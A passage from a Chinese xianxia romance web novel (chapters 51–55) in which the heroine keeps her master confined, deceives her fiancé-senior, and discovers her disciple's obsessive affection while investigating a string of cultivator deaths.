他的吻逐渐从生疏变得熟练,舌尖撬开齿列在她的嘴中探索,他的吻是温柔的,和风细雨的,似是躺在柔软的草地上享受着云彩的抚慰。 季白在他轻柔的吻中也变得柔软放松,像是在太阳下睡觉的小猫舒服地眯上了眼睛,唯一美中不足的是她额上的花钿还是没有任何反应。 她睁开眼睛想要看看他的脸,可看见得只有一片黑暗。 他吻她的时候在想什么呢? 是被囚的不甘,还是吃味的嫉妒,亦或是她还未曾探明的小心思。 卫云台似是察觉到季白的走神,停下了吻她的动作,可手却还捂着她的眼睛,他俯下身子贴在她耳边问:“为师这样做,你可满足?” 声音还是一如既往的空灵温柔,像是来自远空不容亵渎的神明,可微喘的气息与押昵的内容又勾得人心痒痒,他却又是一副不动如山的圣洁模样,仿佛所有的暧昧与情动都只是她自己的想象。 季白拉开卫云台的手,一张完美无缺的脸跃入她的视线,眼眸中碎雪般的冷寂不知在何时被消解了,只留下了一汪春水的温柔与潋滟。 他抓住她的手腕,指腹似是按进了血肉之中,“能不能不去找他,你的欲望为师帮你满足。” 他说着又低下头轻吻了一下她的唇,“如果不满意的话,为师可以再来一次。” 季白十分怀疑卫云台是故意的,平时说话的时候他都很正常的自称我,但每次和她亲密时,反而把为师两个字挂在了嘴边。 他到底是觉得这样做更刺激,还是在提醒自己他们之间的身份? 季白攀上他的脖颈,用脸颊蹭了蹭他的下巴,问道:“师父到底为什么这么在意他,只要师父给我一个理由,我保证再也不见他。” “你觉得他是谁?”卫云台似摸小猫般轻抚着季白的乌发,抚着抚着手指又穿过她浓密的发丝,掐揉着她的后颈。 恰到好处的力度舒服得季白想要一辈子都躺在他的怀里被他抚摸,她闭着眼睛说,“他说他名寻仙,是合欢宗弟子。” “他骗了你。”卫云台的话简单且直接,“他是魔尊李承仙,你与他来往只会害了自己。” 季白有些怔愣,她猜到卫云台已经知道李承仙的真实身份了,但没有想到卫云台会直接告诉她。 她还以为……卫云台会瞒着她。 季白装作惊讶的样子,“怎么可能,他怎会是魔尊?如果他是魔尊,当初在妖洞时为何不对我和师兄动手,还救了我们?” “魔族狡诈,魔尊李承仙尤甚。”卫云台说,“他一时不对你们动手,不是他心善,也不是他改过自新,而是有着更大的图谋。” “小白。”卫云台低下头看着季白的眼睛,“答应我,永远不要见他。” 他的眼睛漂亮得像是太阳下的冰晶,折射出绚丽的光,她在这双眼睛里看见了担忧与她自己。 “好,我答应师父不再见他。”季白说到这儿,又做出一副被骗了的生气样子,“早知他是魔尊,我当日就该和师兄一起杀了他,为苍生除害。” “他竟然骗了我,还在我身上动了手脚,下次若再让我碰上他,我定不会放过他。” 卫云台的眼眸闪了闪,安抚性地拍了拍她的后背,“莫要与他置气,也不要找他的麻烦,你现在还不是他的对手。” “那师父呢?”季白问,“如果是师父一定可以制服他吧?” 卫云台垂下眼帘轻声应了一声,目光又落在了季白的手腕上,不知在想什么。 季白则抬手摸了摸唇,在脑海中问系统。 【我到底要怎么做,才能得到他们的先天一气?】 没道理李承仙第一次吻她就能成功,卫云台和戚流星则始终不成。 难道卫云台和戚流星对她的爱都有阴暗的执念,反而是李承仙在吻她时只有纯粹的爱意? 季白开始怀疑会不会是系统出bug,把数据弄反了。 系统这一次回得倒是很快。 【你会在什么时候心无旁骛地吻一个人?】 没有目的,没有企图,没有忘不掉的执念,没有渴求的贪欲,只是因为此时此刻的他站在你面前,而你只想闭上眼感受他,静静享受这一刻。 季白觉得系统的回答太抽象了。 她回神看向眼前的卫云台,脑海中诞生了一个新的想法,如果她把卫云台放出去,会不会得到他的先天一气呢? 他被她囚在这儿,无论他爱不爱她,吻她时皆是因为她的逼迫,或许还夹杂着希望她能放他离开的渴求,总之,并不纯粹。 “师父。”季白轻声唤他。 卫云台抬眸看她,“怎么了?” “师父恨我吗?”季白问,“我要师父说实话。” 卫云台轻笑一声,随后摇了摇头,“我不会恨我自己的徒弟。” 卫云台这话好像是真的。 季白又问:“那如果我放师父出去,师父会罚我吗?” “我做了这么大逆不道的事,师父会不会罚我进囚仙塔?” 卫云台没有立即回答她的问题,而是摸了摸手上的银链,反问: “刚刚的吻你很满意?” 季白愣了一下,没想到卫云台会这么问她。 她抬手摸了摸额上的花钿,随后诚实地摇摇头,“不满意。” 卫云台摩挲银链的手顿了一下,低声呢喃道:“还是不满意啊。” 季白有点搞不懂卫云台在想什么,难道他想通了,决定不装了? 卫云台松开银链,抬手轻抚季白的唇,“那就再来一次吧,练得多了,总会有一次让你满意。” 季白:啊?这么突然吗? 卫云台轻轻一拽,将人拉进了怀里,俯身吻在她的锁骨上,“如果你想试试别的,为师也都能满足你。” “为什么?”季白问。 “他很美吧?” 季白一瞬间就知道卫云台说的是谁,他果然还是很在意他。 为什么呢? 季白总觉得卫云台不单单是因为李承仙魔尊的身份而在意他,还有另一层她并不知道的原因。 “你不是一个没有警惕心的人,也不是一个能轻易接纳旁人的人。”卫云台一面说着,一面吻她,“整个宗门,你也只对照顾你长大的戚流星另眼相看,你们的情义与信任是数百年的相处换来的。” “可你却任由一个初次见面的人在你身上留下情契,言谈中还对他颇为信任,如果我不告诉你他是魔尊,你是不是还会再见他,与他日久生情?” 卫云台说到这儿,把头从她的脖颈中抬了起来,温热的手指掐住她的下巴,眼神空灵又温柔。 “小白,修行之人怎能受美色所惑,你的心不清不静,人脱去皮囊,无非二百零六骨,血肉污垢毛发肠,你要学会观美人如白骨。”(注1) 卫云台说到这儿,又笑了下。 “魔尊的本相还不及白骨好看,但他极擅幻化魅惑之术,若他下次换一个模样见你,你是不是又要被他所迷?” 他笑着褪下身上的衣衫,露出紧致白皙的上半身,身上的肌肉恰到好处,多一分太壮,少一分太弱。 季白被这突然其来的刺激惊得瞪大了眼睛,卫云台抓住季白的手按在了自己的胸前,柔软又紧实的肌肉在她的手下跳动着,她突然觉得很热,好似周围的空气都开始沸腾。 卫云台却似乎没受到一丝一毫的影响,他俯下身子捧着她的脸,眼神温柔得像是一汪可以包纳一切的水,“瞧,为师只是脱了上衣你就这般动情,你让为师如何放心?” “小白,艳色既空花,浮生乃焦骨(注2),你不曾得到,所以执着,为师助你修行,待你勘破五情六欲,自可大道得成。 【作者有话说】 注1——引用佛教的白骨观注2——出自唐代白居易的《和梦游春诗一百韵》 52 第52章 季白闭上眼睛状似痴迷地贴了上去,脸颊从他的下巴蹭到脸庞,抚在他胸膛的手轻柔地拨弄着,似是在奏弹着高潮跌宕的乐章。 卫云台银白的发与季白乌黑的发交缠在一起,在昏黄灯光的映衬下形成强烈的视觉刺激。 “师父。”季白低声呢喃着,“吻我。” 卫云台闻言钳着她的下巴吻了上去,交融的呼吸蕴湿了彼此的眉眼,她抬起腿勾了上去,似是藤蔓缠住了粗壮雄伟的树干,藤蔓越缠越紧,直至将树干勒出痕迹,直至彼此生长在一起,再难分离。 在最动情的时候季白突然起身抽离,抬手推了卫云台一掌,没有防备的卫云台被她推得往后仰去,脖子与下巴在半空中勾勒出一个性感的弧度,凸起的喉结上下滚动。 季白撑着身子坐了起来,卫云台还在喘着,蓝白色的眼眸似是蒙上了一层氤氲的山雾,湿漉漉的,迷蒙的看着她。 季白伸手摸上了他发烫的脸颊,不知是不是她的错觉,她感觉卫云台的脸颊有点红。 卫云台学着季白的样子用脸颊轻蹭着她的手掌,季白抬手“啪”的一声打在他的脸颊上,清脆的声音与脸颊上细微的痛感拉回了卫云台的神智,漂亮的眼眸睁了睁,似是有些不明白季白为什么要打他。 季白却没有给他询问和思考的时间,又勾着他的脖颈吻了上去,酥麻的快感再次冲刷着大脑,卫云台伸手揽住季白的腰肢,将她整个人拖进自己的怀里。 季白却坏心眼地重重咬了卫云台一口,血与津液相融顺着嘴角滴落在他白皙的肌肤上,在他胸前绽放出一朵血红的花。 季白将手按在他的心口,感受着他砰砰直跳的心。 “师父不是要助我修行吗,怎么自己先乱了?” 卫云台仰着头看她,蓝白色的眼眸还残留着一丝雾气,饱满的唇上还残留着殷红的血迹,看起来有一种靡糜的坠落感。 季白轻抚着他流血的唇,“师父的嘴巴都破了,真可怜啊。” 卫云台张开唇含住她的手指,炙热的手掌轻抚着她的腰窝,哑声问:“不继续吗?” 季白冷下脸推开卫云台,从他身上下来理了理衣裙,说:“不要。” 卫云台歪着头看她,似是有些不解,她为什么又不要了。 明明刚刚还一脸痴迷的让他吻她。 “师父根本就不知道我要的是什么。”季白说,“我要的不是肉/体的交缠,欲望的发泄,我要的是砰然的心动,纯粹的爱意。” 卫云台笑着穿上了衣衫,垂头时一头银发遮住了身前的春光,空气里还残留着暧昧的气息,可他坐在那儿就像是污秽里的皎皎莲花台,黑夜里的溶溶白玉盘。 他的目光依旧温和,可说出口的话却带着温良的残忍。 “小白,爱是欲望的谎言,你想要的,注定得不到。” 季白一时怔在原地,有种角色失控的荒谬感。 他是为爱而诞生的角色,可竟说出爱是谎言这样的话。 他说的只是爱吗? 还是…… 季白抬起头看着熟悉又陌生的山洞,整个世界。 季白很快回过神来,拽着卫云台手腕上的银链,质问:“得不到?那师父又说什么助我修行,师父不给,我如何悟?” “我是教你把欲望从你的爱中分离,把你对某个人渴求的爱放到天下苍生。” “我不听这些没用的话。”季白说,“我只要师父爱我,毫无保留,倾尽所有的爱我,哪怕只有一刻,我也心满意足,如果师父不能满足我,那师父就继续在这儿待着吧。” 季白松开卫云台手腕上的银链,退后几步笑着说:“师父可要快一点想清楚,我没有多少耐心。” 季白说着抬起胳膊,摸了摸手腕上的印迹,意有所指地说:“师父不行,我想全天下总会有男人愿意给我。” 季白还不明白卫云台为何偏偏只在意李承仙,但这并不妨碍她利用李承仙刺激卫云台。 她是有放了卫云台的想法,但绝不是现在。 等她取到戚流星和孟辞的先天一气后,如果卫云台这边还没有进展,她再放他离开。 若现在放他出去,季白要同时应付三个男人,会大大提高任务的难度。 卫云台的目光落到季白的手腕上,瞬间有了变化,但季白没再逗留,而是干脆利落地转身离开。 有时候男人还是要冷一冷。 季白上次冷了卫云台几天,这次见面不仅变得主动了,连花样都多了。 季白出了山洞,想起说要搬过来的孟辞,正准备去找他,结果就在主屋门前撞见了。 孟辞的目光不着痕迹地看了一眼季白的唇,红肿且湿润,像是有人……吮过一样。 “师父是刚从后山出来吗?”孟辞低眸问道,语气平静听不出什么波澜。 季白点了点头,“嗯,刚刚去后山修行了。修到一半,想到你要过来,就急匆匆地出来了。” 修行吗? 什么样的修行会弄伤唇? 孟辞沉默着从怀里掏出一方手绢递给季白,“师父,这是干净的,我还未用过。” 季白不明所以地接过手绢,“你给我手绢做什么?” 孟辞别过视线,抬手轻点下自己的唇,“师父的唇好像流血了……” 季白一听,惊得心脏骤然一停,连忙用手绢擦了擦唇,她低头一看,洁白的手绢上果然多了一抹血迹…… 这是卫云台的血。 季白又多擦了两下,抬头问孟辞,“现在嘴巴上还有血吗?” 孟辞闻言看向季白的唇,他似是很不好意思一样,并没有盯太久就连忙又移开视线,轻声说:“没有了。” 季白捏着孟辞的手帕没有解释她唇上的血是哪儿来的。 这种事越解释越惹人怀疑。 “不好意思啊,孟辞。”季白说,“你的手帕被我弄脏了,我洗干净再还给你。” “不……不碍事。”孟辞小声说,“我自己洗干净就行,不劳烦师尊。” “你洗?”季白笑眯眯地问。 孟辞连连点头。 “好吧,那就交给你了。”季白也不扭捏,就把手帕又还给了孟辞。 两人正聊着天,就听见院外传来戚流星的声音。 这屋子里设有禁制,孟辞是今日得到季白允许,因而可以入内,可戚流星还没有得到允许,因而就止步在了小院外。 季白心念一动,就见戚流星快步走了进来。 “远远就看见你们师徒站在屋外聊天。”戚流星笑着问,“都聊什么了?” 戚流星含笑的目光在落到季白脸上时,愣了一下,随即面色一变,抬手捧上季白的脸,拇指轻轻摩挲着季白的唇,压低声音问:“你做什么了,唇为何肿成这样?” 戚流星说着,目光还不经意地扫了孟辞一眼,但见他神色如常,衣裳整齐,唇上也毫无异样,又收回了探寻的目光,重新落在了季白红肿的唇上。 季白经历过上个世界的磨砺,早已不是会随便慌乱的小女孩。 她神色极为自然地娇羞一笑,掂起脚尖贴在戚流星耳边轻声说:“为何这么肿,师兄还不知道吗?” 季白庆幸戚流星和孟辞都是那种一心修行的正经人,对于男女之事毫无经验,随便撒个谎也就应付过去了。 “我做得?”戚流星眼中有一瞬的犹疑,他偏过头盯着季白的唇,又用指腹轻轻抚了抚。 自从他们在妖洞中互表心意,吻了她后,戚流星就食髓知味,看见季白就想吻,在回程的路上,他压着她吻了一回又一回,待回了宗门后还有些心痒难耐,恋恋不舍。 那时,她的唇就被他吻得有点红肿,但好像还没有这般严重。 季白娇嗔地瞪了他一眼,“不是你还能是谁?” 戚流星想想也是这个道理,丹霞峰上除了季白就只有孟辞,总不能是孟辞亲的,季白和孟辞不会做这样的事。 他心里笑自己疑神疑鬼,估计是唇上的红肿没有及时处理,因而变得严重了。 “是我的错。”戚流星温声道歉,可眼中却是如火的炙热,他上前一步,低头凑近季白,季白连忙往后退了退,瞪着眼睛问:“你要干嘛?” 戚流星笑着晃了晃手里的药膏,“给你的嘴巴涂点药,你以为我要干嘛?” 季白的脸红了。 戚流星用指腹蘸着微凉的药膏给季白红肿的唇涂药,冰凉的触感让季白有点火辣的嘴巴很是舒服。 她抬起眼眸对上戚流星认真的目光,心里有一瞬间的愧疚。 这药抹起来好像没完没了,同样的地方戚流星已经摩挲过三回了,微小的疼痛被冰凉的药膏压下后,又生出密密麻麻的痒意,勾得她心神摇曳。 她一把抓住戚流星的手,低声问:“还没抹好吗?” “好了。”戚流星的声音有点哑,目光也变得火热。 他反握住季白的手,拉到唇边轻轻吻了下她的手指,低声说:“抱歉,下次我会轻一点。” 鼻尖暗香浮动,是季白身上独有的气味,也是戚流星最喜欢的气味。 他忍不住想要再多一点,再多一点,可正当他沉溺其中时,突然有一股熟悉的,但不属于季白的香味涌入戚流星的鼻尖。 53 第53章 戚流星眼眸闪了闪压下心中疑惑,放开季白的手,道:“我要离开一段时间,几大宗门的人知道我们在泰州诛灭蛊妖王后,拜托我去清剿他们属地的妖洞。” 季白听了这话,心中一喜,戚流星不在,正好方便她这段时间获取孟辞的先天一气,但她面上却是一脸担心地问:“你一个人可以吗,要不要我和你一起去?” 季白:千万别让我去,千万别让我去,千万别让我去! 戚流星笑着摇头,“不必,各宗会抽派实力强大的弟子与我同行,师妹就安心在宗内好好修行。” “可是你一个人去,我总是不放心。” “那要不……”戚流星想了想说。 然而他的话还没说完,就听季白连忙道:“但我在长老们面前说了要调查仙陨案的真凶,等你走了,我也要开始忙了。” 戚流星轻笑一声,用手指轻点了下季白的额头,用一副看穿她的眼神说:“师妹压根就不想和我去吧。” 季白连忙一本正经的反驳,“才没有。” 戚流星没说信也没说不信,只是笑着看向站在一边的孟辞。 孟辞是一个很安静,很有分寸的人,早就戚流星捧上季白的脸时,他就默默退开了几步,转身看向别的地方。 因而这么多年下来,戚流星对孟辞格外放心,当然更重要的原因还是因为戚流星知道季白并不喜欢孟辞,在此之前,季白心中的人一直是卫云台。 “我不在的日子,你多帮着你师父一点,若是遇上难办的事等我回来再做。” 孟辞点了下头算作回应。 戚流星的目光重新落回季白身上,“我走了,如果实在查不清,等我回来我帮你查。” 季白点了点头,戚流星又嘱咐了几句后,就抬脚离开,季白跟出去送他,在临别之时,季白突然抓住戚流星的袖摆,他一低眸,就见季白眼波流转,双腮含春。 “不亲我一下再走吗?” 戚流星低头捧上她的脸,指腹轻抚着她的唇,问:“都肿了,还亲?” 季白顺势跌到他的怀里,手臂环着戚流星劲瘦的腰身,仰头道:“轻轻亲一下,没事的。” “你这一走,不知还要多久才能再见面。” 季白心中暗想,这可是情人分别前的吻哎,或许她这一次就能得到她想要的。 戚流星捧着她的脸,喉结微滚,低下头在她唇上轻轻碰了一下,让季白失望的是,她额上的花钿还是没有任何反应。 戚流星在她耳边低声说:“我们的事,我已经和众长老们说过了,等我回来就可以办结契大典了。” “等着我,我会很快回来。” 这句话落在季白耳中,意思就变成了,她的时间已经不多了,她必须得赶在戚流星回来前搞定孟辞,不然等她和戚流星的关系昭告天下后,再想攻略孟辞就会又变得复杂。 季白突然怀念起了上一个任务世界,虽然在上一个任务中,她实力不强,但任务也简单啊,只需要简单粗暴地找到对男主们来说重要的东西就行,而不是像现在这样,要什么玄而又玄的先天一气。 只能说不愧是仙侠世界。 戚流星走后,季白摸着额头的花钿叹了口气,忙活了半天,到现在也只得到了李承仙的先天一气。 哎,这群修仙的人到底怎么回事啊,为什么还没有魔尊好搞。 季白一面吐槽一面往回走,而另一边的戚流星则伸出食指放在鼻尖轻嗅,良久,他垂下手,眼中情绪复杂。 他刚刚没有闻错,他是在季白的身上闻到了卫云台的气味。 季白回到小院看见孟辞正在树下练剑,她站在亭内看了好一会,孟辞身手矫健,每一招每一式都干净利落,塌腰回身间,只觉他腰身劲瘦,身段纤长,似是文豪笔下的少年剑客。 一套剑招结束后,孟辞收起剑,迈步朝季白的方向走来,恭恭敬敬地行礼道:“师父。” “你现在有空吗?”季白问。 “有空。”孟辞毫不犹豫地点头道。 只要师父找他,他什么时候都有空。 “那你能随我去刑堂找一找关于仙陨案的资料吗?” “好。” 太清宗的刑堂是掌赏罚之地,不仅负责约束门内弟子的言行,宗门内以及属地出了任何案子都由刑堂负责调查,解决。 季白领着孟辞来到存放档案资料的文兰台,在刑堂弟子的带领下找到了关于仙陨案的资料。 “季师叔,这些都是仙陨案的资料。”一位小弟子抱着厚厚一摞书卷放到季白面前。 它们摞起来几乎快和季白一样高了。 季白咽了咽口水,没关系,他们有两个人,这点书还是看得完的。 “对了。”小弟子侧身指着身后的一排书架,说,“这些也都是。” 季白:“这么多?!” 这么多资料,她要看得何年何月去,就算看一个月也看不完吧?! 小弟子挠了挠头,道:“是多了一点。” “毕竟仙陨案是修仙界千余年来最大的案子了,无数修士无故陨落,距今为止,已经死了快上千人,可即便死了这么多人,修仙界内还是无人能查出原因。” “各宗都在积极调查此案,关于案子真凶的猜测也是众说纷纭,我们太清宗也在一直调查,只可惜除了一本一本关于死者的资料和生前轨迹的调查与记录外,始终没有太大的进展。” 一般凶手作案,总会有一定的规律和共同点,可仙陨案的上千名死者却没有任何的共同点,男人,女人,年长者,年轻者,各个宗门的都有,像是一场毫无头脑的杀戮游戏,而凶手就像是藏在天幕之下随手杀人的邪神。 没有缘由,没有喜好,只是活该你今天倒霉撞上了。 因着仙陨案始终没有抓住真凶,修士们各个都胆战心惊,生怕自己就会成为下一个。 他们沟通时,孟辞已经看上资料了,等那位小弟子走后,孟辞拿出三卷递给季白。 “师父,这三卷里是他们整理的大概规律,我看了一眼,里面记载着每位死者的死亡时间及其地址和死亡者的特征。” “谢谢。”季白接过资料就开始投入书海,专心看了起来。 如同刚刚的弟子所说,只从这些资料上来看,完全找不到任何有用的线索,就连时间也是无据可考,今天高兴杀三个,明天又不想杀,再一高兴又杀十来个,有时间一天内的死者可达几十人,有时候又很长一段时间没有人死亡,有时候又天天死人。 季白看完两本后,从资料中抽出心神,抬眸看向坐在一旁的孟辞,他看得很认真,一面看一面还在小册上记着什么。 明明是她的事,他却比她还要认真。 季白倾身上前拍了下他的胳膊,孟辞回神看她,眼神沉寂却又给人一种专心看着对方的珍重,“怎么了,师父?” “我有点饿了。” 孟辞的眼眸睁了睁,似是不太明白季白怎么会饿? 季白摸了摸肚子,解释道,“这些书看得我头疼,想吃点好吃的东西缓一缓,还想喝点甜甜的酒,孟辞,你去给我买好不好?” 太清宗唯有在外门设有一个食堂供外门弟子吃喝,内门倒是有专门提供灵果的地方,但距离刑堂都有点远。 孟辞合上了书,“好,我去给师父买。” 他说完,不做停留,如同一阵风一般就出了门,他走后,季白拿起他记的笔记看了一眼,他记得很清楚,其下还夹杂着自己的想法。 凶手是夺取力量的邪修,他还认为凶手可能不止一个人,而是一群有着共同修行功法的人。 他的这个想法也有不少人提出,可如果是多人作案,被发现的概率就应该大大提升,可直到现在修仙界都没有任何一点关于凶手的线索,仿佛死者就是凭空被人吸干了一样,简直就像是志怪小说里的鬼杀人。 季白放下他的笔记,撑着头有一搭没一搭地继续看着案卷,她和孟辞的想法不同,她认为幕后只有一个人,而且那人对于力量有着变态般的追求。 这时,屋外有人敲门。 “进来。”季白话音刚落就从屋外走入一位弟子,“师叔,这是我们刑堂存放的灵酒,您尝尝看。” “是孟辞让你送来的。” “是。”小弟子点了点头。 季白喝了一口,忽而抬头问他,“你和孟辞熟吗?” 小弟子挠挠头说,“我对孟师兄敬仰已久,自入了门就格外崇拜他,可惜孟师兄对我……估计,他都不记得我。” 季白一时间来了兴趣,“看来你很了解他,那你知道他喜欢什么吗?” 季白接触孟辞也有一段时间了,可她到现在也看不出孟辞喜欢什么。 “孟师兄喜欢玉石。”小弟子连忙道,“他经常收购大量珍稀的玉石,要是哪儿出了好玉料,定然会有孟师兄的影子。” 喜欢玉石? 季白惊呆了,她从来没在孟辞身上看到过任何有关于玉的东西,他一身黑色劲装,腰间挂着一柄剑,就再无其他了。 如果他喜欢玉石,身上为何连个玉佩都没有? 小弟子走后,没多久孟辞也带着吃食回来了。 他弯下腰帮着季白清理桌案,摆放食物,季白特意从头到脚的认真打量了一番孟辞。 这样刻意的目光让孟辞想要忽略都难,他抬眸看他,低声问:“师父为何一直看着我,是我有何处不妥吗?” “听说你喜欢玉石?” 孟辞端着瓷盘的手微不可闻地轻颤了一下。 【作者有话说*】 如果我明天爆更,可以获得一点营养液的鼓励吗…… 现在这个营养液的数字有一点点尴尬啊……250……二百五…… 54 第54章 孟辞轻声应了一句,“是。” “那我怎么从来没见你戴过玉饰?” “我都收起来了。”孟辞说。 季白拿了颗色泽鲜亮的仙果咬了一口,好奇地问:“你既喜欢为何不做成玉佩或坠子随身戴在身上?” 孟辞看了季白一眼,垂眸捏起一颗荔枝放在手中缓缓剥下鲜红粗糙的外壳,露出其晶莹饱满的果肉,香甜的汁液染湿他泛红的指腹。 他将剥好的果肉放到季白面前的小碟子上,低声说:“我喜欢的东西不想让别人看。” 季白闻言惊讶地看了孟辞一眼,目光恰好落在他湿漉漉的指尖,指节修长,微红的指腹上还泛着一层莹润的水光…… 季白瞬间想到了一些不该想到的东西,她连忙移开视线,漫不经心地说了一句,“这样啊。” 没想到孟辞对于玉石的占有欲也这么强,一般人收藏了珍稀的宝物,总是会忍不住炫耀,像孟辞这样独赏的,倒是少见。 虽然有点奇怪,但也不是不行。 季白同孟辞吃过东西后,起身拂了拂坐皱的衣袍,道:“孟辞,我们回去吧。” 孟辞一脸惊讶,“师父,我们不继续看案宗了吗?” 季白摇头,“不看了。” 她已经把最关键的地方都看过了,剩下的案卷就算再看十遍,也找不出什么线索。 孟辞跟着季白的脚步,走在她身后询问:“师父是已经有线索了吗?” “哪有那么快。”季白笑着说,“整个修仙界都没有线索的案子,岂是我看上一会就有头绪的?” “如果是师父的话,一定可以。”孟辞轻轻的声音从身后传来,季白回过头去就对上孟辞全然信任的眼神,他微微扬了扬唇角,仿佛是在告诉季白,她一定可以。 季白笑着揉了下孟辞的发顶,说:“我们师徒合力一定可以查出来。” 师徒合力…… 孟辞的心微微一颤,师父也在信任他,相信他。 温热的温度顺着柔软的肌肤传到他的头顶,舒服得让人想要眯起眼睛,可孟辞并没有享受多久,头顶温软的触感就已消失了。 他压下心头的失落,却又听见季白笑眯眯地说:“等师兄回来,我们就给他一个惊喜,向他证明没有他的帮忙,我们也能查出来。” “嗯。”孟辞低着头轻声应了一声。 他总是不愿意接受师父和戚流星结契的事实,可无论他如何不愿意事实也无法更改。 师父会和戚流星结为道侣,将来还会有他们的孩子,等师父继位做了宗主,还要将目光分给全宗的人。 师父啊师父,为什么你的目光不能只停留在我身上,为什么不能只对我一个人好,为什么你的身边总会有那么多那么多的人。 好想……好想让他们都消失。 季白笑容灿烂地又揉了揉他的发顶,“小辞真乖,等我们查清仙陨案的真凶,师父就送小辞一样厉害的法器好不好?” 孟辞抬眸紧盯着季白明媚的笑容,乌黑的眸子沉寂寂的,像是一汪不见底的寒潭,“我不想要厉害的法器。” 可是不行,我那么做,师父会伤心的。 他不想让师父伤心。 “那你想要什么?”季白问。 “我……”孟辞张了张嘴,又闭上了。 他想要的注定得不到。 “我目前还没有想要的东西。”孟辞说,“可以先把愿望寄存吗?等我想到了再问师父要。” “当然可以。” 季白一面和孟辞聊着天,一面也没有忘记仙陨案的事情。 她刚刚在查看档案时,注意到上一次仙人陨落的时间,恰好是她前往泰州的日子,按照之前作案的时间轨迹,下一次出事的时间应该也快了。 季白觉得与其看一百遍案宗,不如等出事的时候亲自去现场看一看。 “师叔都看完了吗?”刚刚带季白进来的小弟子见季白要走,走上前来恭敬询问,他的目光时不时看向季白身后的孟辞。 “我都看完了。”季白说,“若再有仙人离奇陨落,可否麻烦你们刑堂的人前往丹霞峰告诉我一声。” “当然没问题。”小弟子拍了拍胸脯,“若再出事,我第一个告诉师叔。” 季白轻笑一声,问:“你叫什么名字?” “我叫江成。”江成说,“是凌霄长老的徒弟。” 季白记得凌霄长老,是留花白胡须,面容凶煞的老头,怀抱铜钱剑,背双刀,钢鞭。 他的弟子在刑堂做事,他应当也是负责宗内刑罚一类的事务,难怪看起来凶神恶煞的。 季白从怀中取出一个小法宝递给江成,“看你有缘,此物就送予你。” 这东西是季白从屋子里搜寻出来的,像这样的法器原主还有很多很多,季白并不觉得稀奇,可对于小辈们来说却是一件难得的保命法器。 江成一脸惊喜地接过,“谢谢师叔。” 季白和孟辞从刑堂出来后,孟辞就好似有点闷闷不乐。 虽然他脸上的神情和平时没什么区别,但季白已经能从细枝末节处看出孟辞的情绪变化。 他沉默地跟在季白身后,本就苍白异常的面容在阳光的照射下越发白得像纸,乌黑的碎发遮住他的眉眼,使他看起来阴郁又冷酷。 “师父很喜欢刚刚的弟子吗?”他低着头轻声问。 师父前脚说要给他法器,后脚就能随随便便地送给旁人法器。 孟辞并不在意法器,他在意的是季白给他的好,也能随时给别人。 那人有什么好,凭什么能得到师父的东西? 一句有缘就能送给他一件法器,下一次是不是也会收他做弟子? 季白知道孟辞在不高兴,可她假装不知道,反而还笑眯眯地说。 “是啊,我觉得他很不错,为人踏实周到,又懂礼貌。” 季白说完,还又回头看了孟辞一眼,道:“对了,我听说他还很崇拜你呢,你们都是一辈的弟子,你应该对他有印象吧?” 孟辞握紧了藏在袖袍的指尖,说:“我不认识他。” 师父还想通过他了解江成吗,难道真的看上他了不成? 孟辞嫉妒得快要把掌心掐出血来,可他的脸上却十分平静。 两人回丹霞峰时,已天色将晚,二人各自回了自己的房间。 季白回屋坐下后,透过小窗看向孟辞的房间,他的房间里还亮着灯,偶尔可以透过窗看见孟辞晃动的身影。 季白啧了一声,这小子是真能忍啊。 明明心里快要气死了,结果表面上竟然一点也看不出来。 不过也不能把人逼得太狠,免得适得其反。 失落的小狗还是要适当的安慰安慰。 季白从原主的收藏中翻出了一件特别漂亮的玉石,准备给孟辞送过去。 另一边的孟辞一进屋就放下剑,盘腿坐在床上,下一秒,他的掌心凭空出现一个小小的玉雕。 玉雕虽小却精致非常,女子的面容栩栩如生,衣带自然垂落而下,就连鞋上的花纹都完美的复刻了出来。 孟辞面色潮红地轻抚着女子的脸颊,低声呢喃着:“师父……” 他低头吻了上去,闭上眼睛幻想着他吻的人是季白,幻想着季白轻抚他肌肤时的触感,幻想着那双眼睛湿漉漉地看着他。 他的脸颊越来越烫,心跳也不受控制地剧烈跳动着,整个人像是中了迷幻的毒一样向后倒去,轻轻一挥手,原本空荡荡的房间顿时摆满了玉雕。 有大有小,各式各样,颜色缤纷,可每一件玉雕都长着同一张脸。 他侧过头,在他床的另一边静静躺着一个和他差不多高的玉雕,与季白如出一辙的眼睛正温柔地注视着他。 “师父……”孟辞呢喃着贴了上去,玉雕女子的眼睛是睁着的,逼真到可以数清她的眼睫,可以看见她潋滟的瞳孔如同真人般折射着诱人的光辉。 孟辞痴迷地抱着玉雕爱抚,轻吻,像是一个疯子,一个变态。 冰冷的玉雕逐渐沾染上了他的温度,他喘息着逼问不会说话的玉雕, “师父,你也喜欢我,对不对?” “你也喜欢我。” “师父,我好爱你,我爱你。” “师父,不要和戚流星结契好不好,永远只看我一个人,好不好?” “嗯……”他环抱上玉雕纤细的腰身,“师父,你身上好香,我的帕子上都是你的气味,好喜欢,好喜欢……” 寂静的房间回荡着少年沙哑的低喃和喘息,就在孟辞彻底沉醉在这一室的玉雕中时,只听房门突然被人敲响。 “咚咚咚。” 清脆的敲门声在寂静的房间中格外明显,孟辞顿时如梦初醒,他慌乱地从床上坐起,苍白的脸颊上还残留着一抹暧昧的红晕。 “孟辞。”季白清脆的声音从外响起,“你在里面吗?我有东西要给你。” “师父,我已经睡了。”孟辞低低的声音从屋内传来,“有什么东西,明天再给我吧。” 他的声音听起来有点哑,不像是刚刚睡起的朦胧,反而有种说不出的暧昧与低沉…… 季白挑了挑眉,孟辞睡了? 可孟辞的房间明明还亮着灯,难道孟辞睡觉都不吹灯的吗? 季白:“这样啊。那我就不打扰你了。” 季白这么说着,转身回了屋,但她可不会就这么老老实实的放弃,她总觉得刚刚的孟辞有点不对劲。 她今天刚从书籍中学了一种可以离魂的术法,她倒要看看孟辞背着她的时候到底在搞什么鬼。 55 第55章 季白回到房间后,端坐榻上,单手掐诀,口中默念今日刚从书上记下的口诀。 随着最后一个字落定,季白只觉五感通明,身子一轻,再低头一看就见她的肉身正稳坐在床上,双眸紧闭,似是睡着了一般。 她的身子轻飘飘的,如同一缕可以被风随时吹散的青烟,季白控制着自己的身体毫无障碍地穿过了墙。 屋外月朗星稀,季白顺着石径路往孟辞的房间飘去,刚刚还亮着的屋子已经熄了灯,屋内漆黑一片,什么也看不见。 难道孟辞真的已经睡了? 季白这么想着,悄悄钻入了孟辞的房间,借着月光她依稀看清了躺在榻上熟睡的孟辞,房间里的布局和她那日来时一模一样,只是添了几样物件,空气里弥散着一股淡淡的好似玫瑰花香的甜腻味。 